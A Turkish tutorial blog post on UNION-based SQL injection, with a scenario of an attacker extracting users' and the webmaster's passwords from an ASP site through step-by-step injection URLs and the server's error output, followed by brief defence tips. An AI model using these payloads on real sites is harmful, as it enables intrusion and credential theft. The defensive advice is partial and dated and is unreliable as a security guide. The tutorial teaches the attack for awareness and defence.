SQL ENJECTION (UNION)
Bu yazıda anlatılanları kullanarak yaptığınız, yapmakta olduğunuz ve yapacağınız şeylerden dolayı herhangi bir sorumluluk kabul etmiyorum. Burada bütün SQL injection yöntemlerini anlatmam mümkün değil, çünkü çok fazlalar ve işin kötüsü ben de hepsini bilmiyorum. Ama anlatacaklarım size bir fikir verecektir ve yolunuza ışık tutacaktır.

1. SQL Injection Nedir?
SQL injection, dinamik içerikli, yani; asp,php,jsp… gibi diller ile beraber bir veri tabanı yönetim sisteminin kullanıldığı web sayfalarında, SQL cümlelerinin yanlış çalışmasına sebep olacak bir takım karakterlerle sistemi yanıltıp, kendi amacınıza uygun olarak kullanmanızı sağlayan bir hack yöntemidir.


2. SQL Injection Tipleri
Temel de çoğu insanın bildiği -ama aslında SQL injection olarak bilmediği- login sayfalarında kullanılan bir yöntem vardır. Bunu daha önceki bir yazımda anlatmıştım. Bu linkten ayrıntılı olarak okuyabilirsiniz; http://www.vbasicmaster.com/vbbilgisi.asp?id=129&type=mak

Asıl üstünde durmak istediğim UNION tipindeki SQL injection’ lar. Bu yöntem çok bilindik değil ve küçümsenmeyecek kadar çok sayfada işe yaramaktadır.


3. SQL ve UNION
Bu tekniği incelemeden önce UNION’ ın ne olduğunu anlamak lazım. UNION aslında SQL (Structured Query Language) içinde kullanılan bir reserved word yani dile ait bir terimdir. Normalde bir SELECT query’ si şunun gibidir;

SELECT ID,NAME,PASSWORD FROM tbl_users

Bu işlemden sonra tbl_users isimli tablodaki bütün kullanıcı ID, isim ve şifrelerini listeletmiş oluruz. Özellikle listeletmek istediğimiz bir kullanıcı için;

SELECT ID,NAME,PASSWORD FROM tbl_users WHERE NAME=’Özgür’

Gibi bir cümle kullanabiliriz ve Özgür isimli kullanıcının bulunması durumunda bu SQL cümlesi bize istenilen alanları döndürür.

Şimdi şu cümleye bakalım;

SELECT ID,NAME,PASSWORD FROM tbl_users WHERE NAME = ‘Özgür’ UNION SELECT Alan1,Alan2,Alan3 FROM tablo

Bu ne demek? Bize tbl_users ve tablo isimli tablolardan veri çek demek. Önemli olan şey UNION kullanılan SELECT cümlelerinin kolan sayılarının eşit olmasıdır. ID,NAME,PASSWORD ve Alan1,Alan2,Alan3… 3 alan, 3 kolon…


4. SQL Injection ve UNION
Bir senaryo üzerinde olayı anlatalım;

Holyone bir Webmaster ve binlerce üyesi olan bir web sitesini yönetiyor. Holyone üyelerin birbirlerinin profillerine bakması için userinfo.asp isimli bir sayfa yapmış ve burada üyenin Adı,Soyadı ve e-posta adresini listeletiyor. Ne kadar zararsız dimi?:]

Sonra birgün deadlock isimli, biraz bilgili bi hacker Holyone’ ın sitesine giriyor ve kullanıcı bilgilerinin gösterildiği sayfadaki hatayı keşfediyor. Bu sayfanın adresi şunun gibi bir şey;

http://www.hedefsite.com/userinfo.asp?ID=137

Bu adreste bilgilerini görmek istediğimiz kullanıcının bilgileri var, bu kullanıcının ID’ si ise 137. Yani bu kullanıcının tablodaki user ID’si 137. Bu çok değerli bir bilgi ama bunu deadlock dışında kimse farketmiyor.

Normalde deadlock’ un gördüğü şey şunun gibi bir şey;

İsim: William
Soyad: Wallace
E-posta: wallaces@yasirpro.com


Holyone’ un yapmak istediği şey yani… Ama deadlock bu kullanıcının şifresini bulmak istiyor ve yazılmış olan sistemi SQL injection kullanarak kendi yararına kullanacak. Sonra deadlock browserına şöyle bir adres satırı yazıp entera basıyor;

http://www.hedefsite.com/userinfo.asp?ID=’

O da ne? Sayfa hata verdi. Hata şunun gibi bişey;

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC Microsoft Access Driver] Syntax error in string in query expression 'ID=' AND C=0'.


Hmm.. Bu bilginin ne kadar yararlı olduğunu deadlock gayet iyi biliyor ve bu bilgiden dolayı sunucuya minettar:]

deadlock SQL konusunda çok bilgili ve SQL cümlesinin şunun gibi bir şey olduğunu anladı;

SELECT ID,NAME,SURNAME,EMAIL,…. FROM tablo WHERE ID=137 AND C=0

C alanının büyük ihtimalle bir kullanıcının silinip silinmediğini tutan bir alan olduğunu tahmin etti ama bu onu ilgilendirmiyor.

Deadlock şimdi tablo isimleri ve alan adları hakkında bilgi toplamalı. Ancak sayfaya tek bir sonuç geleceğinden dolayı deadlock birinci SELECT kısmında sonuç dönmemesini sağlamak zorunda, çünkü aksi halde UNION dan sonraki SELECT kısmının döndürdüğü sonuçları göremez. ID=0 olan bir kayıt olamayacağına göre, deadlock işe koyulur. Bunun için aşağıdaki gibi bir adres satırı yazar;

http://www.hedefsite.com/userinfo.asp?ID=0 union select username,password from users where 1=1

ve enter’a basar. Sunucu aşağıdaki gibi bir hata döndürür;

Microsoft OLE DB Provider for ODBC Drivers (0x80040E37)
[Microsoft][ODBC Microsoft Access Driver] The Microsoft Jet database engine cannot find the input table or query 'users'. Make sure it exists and that its name is spelled correctly.


Deadlock anladı ki tablo ismini tutturamadı. Ama o genelde kullanılan tablo isimlerini çok iyi biliyor ve deneme yanılmayla bakın bir süre sonra şu adres satırını yazdığında sunucu ona ne diyor;

http://www.hedefsite.com/userinfo.asp?ID=0 union select username,password from members where 1=1

[Microsoft][ODBC Microsoft Access Driver] The number of columns in the two selected tables or queries of a union query do not match.

Hmmm… deadlock tablo ismini tutturdu ama bu sefer alan sayısını tutturamadı. UNION’ da iki select cümlesindeki alanları eşit olması gerektiğini hatırlayın. Deadlock pratik bir yöntem le bunu şu şekilde dener;


http://www.hedefsite.com/userinfo.asp?ID=0 union select 1 from members where 1=1

Yine olmadı;

http://www.hedefsite.com/userinfo.asp?ID=0 union select 1,1 from members where 1=1

Olmadı!

http://www.hedefsite.com/userinfo.asp?ID=0 union select 1,1,1 from members where 1=1

Evet!!! Şimdi deadlock sayfada şunun gibi bir şey görüyor;

İsim: 1
Soyad: 1
E-posta: 1

Şimdi select içerisinde kullandığı 1 lerin yerine istediği alanları yazması yeterli. Onun istediği kullanıcının adı ve şifresi. Tecrübesiyle şöyle bir SQL injection satırını browser’ ına yazar;

http://www.hedefsite.com/userinfo.asp?ID=0 union select USERNAME,USERNAME,PASSWORD from members where 1=1

Ve tutturur. Artık gördüğüşey şu;

İsim: WALLACEs
Soyad: WALLACEs
E-posta: şifre

Deadlock bu 10 dakika sonunda sistemi kırmayı başardı. Ama deadlock’ ın asıl istediği webmaster’ ın şifresini bulmak. Basit bi şekilde webmaster ın ID sini bulmak için, onun nick’ ine basar ve gelen sayfadaki adres satırın bakar;

http://www.hedefsite.com/userinfo.asp?ID=1

Elbette; ID’ sinin 1 olduğunu öğrendi. Şimdi SQL bilgisini konuşturur

http://www.hedefsite.com/userinfo.asp?ID=0 union select USERNAME,USERNAME,PASSWORD from members where ID=1

İsim: WALLACEs
Soyad: WALLACEs
E-posta: şifre

Deadlock’ ın bu sistemle işi bitti ama Holyone’ ın işi daha yeni başlıyor. Bütün bu hatalarını düzeltmek için yoğun bir çalışma onu bekliyor ve deadlock’ a çok kızgın. Çünkü deadlock onun yazdığı bir sistemi ona karşı kullandı ve fena halde canını yaktı. Çünkü Holyone’ ın aksine deadlock işin üstadı. Çünkü o kendi yazmadığı, hakkında en ufak bir bilgisi olmayan bir sistemin hatasını buldu ve sistemi Holyone’ ın asla aklına gelmicek bir şekilde kullandı.


5. Nasıl korunuruz
-Tablo isimlerinizin başına alias dediğimiz şeyler ekleyin; Yani ‘users’ diye çok genel bir tablo ismi kullanmak yerine ‘fb_users’ gibi isimler kullanın
-www.adres.com/userinfo.asp?ID=1 gibi bir adreste almış olduğunuz ID değerini kontrol edin. Sayısal bir değer bekliyorsanız, sayısal bir değer aldığınızdan emin olun.
-Her zaman aldığınız değerlerdeki tehlikeli karakterleri sorgulayan bir alt program yazın.
-Biraz zor ancak search engine friendly dediğimiz sisteme yönelerek sitenizi oluşturun. www.adres.com/userinfo.asp?ID=1 yerine www.adres.com/userinfo/1 gibi bir yapıdan bahsediyorum. Apache’ de mümkün ama IIS’ te olmaz (yeri gelmişken söliim:])


6. Sonuç
Anlatacaklarım bu kadar. Bunlar kimsenin bilmediği şeyler değil elbette. Bu yüzden kimse bunları yazdım diye bana çatmasın. Search engine’ lere girip “SQL Injection” yazdığınızda bunla ilgili bir ton kaynak bulabilirsiniz. Görüşmek üzere

Ekleyen: WALLACEs | Eklenme Tarihi: 27.01.2016